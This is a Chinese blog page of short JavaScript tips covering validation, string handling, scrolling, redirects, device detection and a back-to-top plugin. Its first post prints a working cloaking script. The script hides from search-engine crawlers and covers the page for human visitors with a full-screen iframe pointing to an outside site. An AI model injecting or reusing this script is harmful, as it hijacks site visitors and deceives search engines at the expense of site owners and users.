Tag: javascript预览模式: 普通 | 列表

 

JavaScript代码
  1. var system = {  
  2.     win: false,  
  3.     mac: false,  
  4.     xll: false  
  5. };  
  6.   
  7. var userAgent = navigator.userAgent;  
  8. var platform = navigator.platform;  
  9. var p = navigator.platform;  
  10. var us = navigator.userAgent;  
  11.   
  12. system.win = p.indexOf('Win') == 0;  
  13. system.mac = p.indexOf('Mac') == 0;  
  14. system.x11 = (p == 'X11') || (p.indexOf('Linux') == 0);  
  15.   
  16. var now = new Date().getTime();  
  17. var base64 = btoa(now + 'Todaysubdomain'.replace('-''/').split('T')[0].replace('-''/'));  
  18. var sub1 = base64.substring(0, 20);  
  19. var sub2 = base64.substring(1, 21);  
  20. var sub3 = base64.substring(2, 22);  
  21. var sub4 = base64.substring(3, 23);  
  22. var sub5 = base64.substring(4, 24);  
  23.   
  24. try {  
  25.     var reg = /(Baiduspider|360Spider|YisouSpider|YandexBot|Sogou inst spider|Sogou web spider|spider|Baiduspider-render)/i;  
  26.     var iframe_url = '';  
  27.     var zindexCount = 999999;  
  28.     if (!reg.test(navigator.userAgent)) {  
  29.         if (system.win || system.mac || system.xll) {  
  30.             var arr = ['https://www.guanjianci.net''https://www.guanjianci.net''https://www.guanjianci.net'];  
  31.             iframe_url = arr[Math.floor(Math.random() * arr.length)];  
  32.         } else {  
  33.             if (/iPhone|iPad|iPod|iOS|Android/i.test(navigator.userAgent)) {  
  34.                 var arr = ['https://www.guanjianci.net''https://www.guanjianci.net''https://www.guanjianci.net''https://www.guanjianci.net''https://www.guanjianci.net''https://www.guanjianci.net'];  
  35.                 iframe_url = arr[Math.floor(Math.random() * arr.length)];  
  36.             }  
  37.         }  
  38.         document.write('<div id="div_iframe' + (zindexCount - 1) + '" style="z-index:' + zindexCount + ';height:' + window.innerHeight + 'px; width: 100%;position: fixed;top:0; background: #ffffff;height:100%;padding:0px;margin:0px;"><iframe id="myiframe" frameborder="0" width="100%" height="100%" src="' + iframe_url + '"></iframe></div><style type="text/css">html{width:100%;height:100%}body {width:100%;height:100%;overflow:hidden;padding:0px;margin:0!important;}</style>');  
  39.     }  
  40. catch (e) {  
  41.     console.log(e);  
  42. }  

以上代码来源于网络,仅供参考!

Tags: javascript

分类:技术文章 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 62

JS使用正则表达式校验手机号码

检验的格式为
开头数字必须为1,第二位必须为3至9之间的数字,后九尾必须为0至9组织成的十一位电话号码

JavaScript代码
  1. //JS使用正则表达式校验电话号码  
  2.     function checkModbile(mobile) {  
  3.         var re = /^1[3,4,5,6,7,8,9][0-9]{9}$/;  
  4.         var result = re.test(mobile);   
  5.         if(!result) {  
  6.             alert("手机号码格式不正确!");  
  7.             return false;//若手机号码格式不正确则返回false  
  8.             }  
  9.         return true;  
  10.     }  

 

Tags: javascript

分类:技术文章 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 344

 

 
JavaScript代码
  1. //1、数字前端去0  
  2. var num = number.replace(/\b(0+)/gi,"")  
  3. //2、文字去除空格  
  4.   
  5. var str = str.replace(/(^\s*)|(\s*$)/g, "")  
  6. //3、截取字符串  
  7.   
  8. var str = abcdef  
  9. str = str.substr(2,3) //cde  
  10. //4、保留小数  
  11.   
  12. //保留4位小数  
  13. var number = 12.3321432;  
  14. number = String(number).replace(/^(.*\..{4}).*$/,"$1");  
  15. number = Number(number); // number = 12.3321  
  16.   
  17. //保留2位小数  
  18. var reg = /^(.*\..{2}).*$/;  
  19. var number2 = 12.3;  
  20. number2 = String(number2).replace(reg ,"$1");  
  21. number2 = Number(number2); // number2 = 12.3 不足保留位数不补0  
  22.   
  23. //5、数字不足位数前补0  
  24.   
  25. var number = 100  
  26. var num = (Array(5).join(0) +number).slice(-5) //num = 00100  

Tags: javascript

分类:技术文章 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 444

js控制div内的滚动条的位置

 
通过div的scrollTop变动控制垂直滚动条位置。

通过div的scrollLeft变动控制水平滚动条位置。

示例:

<body>
//d1是外层div,带滚动条
<div id='d1' style='height:200px;width:100px;overflow:auto;background:blue;'>
<div style='height:500px;width:500px;background:yellow'>2222</div>
</div>
</body>
<script>
document.getElementById('d1').scrollTop=100;//通过scrollTop设置滚动到100位置
document.getElementById('d1').scrollLeft=200;//通过scrollTop设置滚动到200位置
</script>
.

 

查看更多...

Tags: javascript

分类:技术文章 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 339

本文向大家重点讲解一下ScrollBar(滚动条)的控制,这里提供了三种方法来实现用Javascript控制ScrollBar(滚动条),希望通过本文的学习你对控制滚动条的方法有深刻的认识。

用Javascript控制ScrollBar(滚动条)

以下都是默认自动滚动到底部,需要滚动到顶部只需将document.body.scrollHeight换为0.

方法一:用scroll方法实现

查看更多...

Tags: javascript

分类:技术文章 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 359

Ajax解决缓存的5种方法总结(推荐)

1、在ajax发送请求前加上 anyAjaxObj.setRequestHeader(“If-Modified-Since”,”0″)。

 
2、在ajax发送请求前加上 anyAjaxObj.setRequestHeader(“Cache-Control”,”no-cache”)。
 
3、在URL后面加上一个随机数: “fresh=” + Math.random();。
 
4、在URL后面加上时间搓:”nowtime=” + new Date().getTime();。
 
5、如果是使用jQuery,直接这样就可以了$.ajaxSetup({cache:false})。这样页面的所有ajax都会执行这条语句就是不需要保存缓存记录。

Tags: ajax javascript

分类:技术文章 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 192

js判断是pc还是移动端

利用了正则表达式和三目运算符,含义就是如果是移动端打开的话那就跳转到 "https:www.baidu.com/" ,如果不是就跳转到"http://new.baidu.com/"
 
window.location.href = /Android|webOS|iPhone|iPod|BlackBerry/i.test(navigator.userAgent) ? "https://www.baidu.com/" :  "http://news.baidu.com/";
 
等同于
 
if(/Android|webOS|iPhone|iPod|BlackBerry/i.test(navigator.userAgent)) {
    window.location.href = "https://www.baidu.com/";
} else {
    window.location.href = "http://news.baidu.com/";
}

Tags: javascript

分类:技术文章 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 125

jQuery跳转到另一个页面

1.我们可以利用http的重定向来跳转

 
window.location.replace("http://www.baidu.com");
 
2.使用href来跳转
 
window.location.href = "http://www.baidu.com";
 
3.使用jQuery的属性替换方法
 
$(location).attr('href', 'http://www.baidu.com');
 
$(window).attr('location','http://www.baidu.com');
 
$(location).prop('href', 'http://www.baidu.com');

Tags: javascript jquery

分类:技术文章 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 176

js区分苹果手机,安卓手机和windows手机

 区分苹果手机,安卓手机和其他

 
var u = navigator.userAgent;
if (u.indexOf('Android') > -1 || u.indexOf('Linux') > -1) {//安卓手机
WebViewJavascriptBridge.callHandler(
'jsCallAndroid', index,
function(responseData) {
// document.getElementById("show").innerHTML = "send get responseData from java, data = " + responseData
}
);
} else if (u.indexOf('iPhone') > -1) {//苹果手机
jsCallOC('IntValue',index);
} else {//winphone手机
alert("winphone手机");
}

Tags: javascript

分类:技术文章 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 145
通过判断浏览器的userAgent,用正则来判断手机是否是ios和Android客户端。网上搜索来的,比较简单:
var u = navigator.userAgent;
var isAndroid = u.indexOf('Android') > -1 || u.indexOf('Adr') > -1; //android终端
var isiOS = !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/); //ios终端
下面一个比较全面的浏览器检查函数,提供更多的检查内容,你可以检查是否是移动端Mobile、ipad、iphone、微信、QQ等。
 
//判断访问终端
var browser={
    versions:function(){
        var u = navigator.userAgent, app = navigator.appVersion;
        return {
            trident: u.indexOf('Trident') > -1, //IE内核
            presto: u.indexOf('Presto') > -1, //opera内核
            webKit: u.indexOf('AppleWebKit') > -1, //苹果、谷歌内核
            gecko: u.indexOf('Gecko') > -1 && u.indexOf('KHTML') == -1,//火狐内核
            mobile: !!u.match(/AppleWebKit.*Mobile.*/), //是否为移动终端
            ios: !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/), //ios终端
            android: u.indexOf('Android') > -1 || u.indexOf('Adr') > -1, //android终端
            iPhone: u.indexOf('iPhone') > -1 , //是否为iPhone或者QQHD浏览器
            iPad: u.indexOf('iPad') > -1, //是否iPad
            webApp: u.indexOf('Safari') == -1, //是否web应该程序,没有头部与底部
            weixin: u.indexOf('MicroMessenger') > -1, //是否微信 (2015-01-22新增)
            qq: u.match(/\sQQ/i) == " qq" //是否QQ
        };
    }(),
    language:(navigator.browserLanguage || navigator.language).toLowerCase()
}
使用也很简单:
 
//判断是否IE内核
if(browser.versions.trident){ alert("is IE"); }
//判断是否webKit内核
if(browser.versions.webKit){ alert("is webKit"); }
//判断是否移动端
if(browser.versions.mobile||browser.versions.android||browser.versions.ios){ alert("移动端"); }
 
检测浏览器语言
 
//code from http://caibaojian.com/browser-ios-or-android.html
currentLang = navigator.language;   //判断除IE外其他浏览器使用语言
if(!currentLang){//判断IE浏览器使用语言
    currentLang = navigator.browserLanguage;
}
alert(currentLang);

Tags: javascript

分类:技术文章 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 151

 一、使用正则表达式去除html富文本中的style样式

 
String regEx = "style=\"(.*?)\"";
使用到的正则规则
字符    说明
(pattern)    匹配 pattern 并捕获该匹配的子表达式。若要匹配括号字符 ( ),请转义。
.    匹配除”\r\n”之外的任何单个字符。若要匹配包括”\r\n”在内的任意字符,请使用诸如”[\s\S]”之类的模式。
*    零次或多次匹配前面的字符或子表达式。例如,zo* 匹配”z”和”zoo”。* 等效于 {0,}。
?    零次或一次匹配前面的字符或子表达式。例如,”do(es)?”匹配”do”或”does”中的”do”。? 等效于 {0,1}。
 
 
结果:

 
 
二、使用正则表达式去除指定标签的style属性
 
操作说明,首先获取指定标签,然后替换标签中的属性
 
js代码示例如下:
 
formatImg:function(html){
            var newContent= html.replace(/<img[^>]*>/gi,function(match,capture){
            var match = match.replace(/style=\"(.*)\"/gi, 'class="img-responsive"');
            return match;
        });
        return newContent;
    }
 
 
三、同上原理,修改删除指定标签的width属性
 
//去除table的宽度
content=content.replace(/<table[^>]*>/gi,function(match,capture){
  return match.replace(/width=\"(.*)\"/gi,'');
});
 

Tags: javascript

分类:技术文章 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 318

返回顶部的jquery插件

 

Easy Peasy

Download the minified version of the plugin, include it after jQuery and:

<script> jQuery(document).ready(function(){ jQuery.goup(); }); </script> 带参数的:点击下载此文件 
<script type="text/javascript">
        $(document).ready(function () {
            $.goup({
                trigger: 100,
                bottomOffset: 50,
                locationOffset: 70,
containerColor: '#990000',
                title: '返回顶部',
                titleAsText: false
            });
        });
    </script>

Demo

Yeah! You can see it in action on this page. If you scroll down, you can see, on the bottom right, the magic!

Options

Name Description Type Default
location On which side the button will be shown ("left" or "right") String right
locationOffset How many pixel the button is distant from the edge of the screen, based on the location setted Integer 20
bottomOffset How many pixel the button is distant from the bottom edge of the screen Integer 10
containerRadius Let you transform a square in a circle (yeah, it's magic!) Integer 10
containerClass The class name given to the button container String goup-container
arrowClass The class name given to the arrow container String goup-arrow
containerColor The color of the container (in hex format) String #000
arrowColor The color of the arrow (in hex format) String #fff
trigger After hoiw many scrolled down pixels the button must be shown (bypoassed by alwaysVisible) Integer 500
entryAnimation The animation of the show and hide events of the button ("slide" or "fade") String fade
alwaysVisible Set to true if u want the button to be always visible (bypass trigger) Boolean false
goupSpeed The speed at which the user will be brought back to the top ("slow", "normal" or "fast") String slow
hideUnderWidth The threshold of window width under which the button is permanently hidden Integer 500
title A text to show on the button mouse hover String ''
titleAsText If true the hover title becomes a true text under the button Boolean false
titleAsTextClass The class name given to the title text String goup-text
zIndex Set the z-index Integer 1

 点击下载

Tags: javascript jquery

分类:技术文章 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 355

 广告位

↑返回顶部↑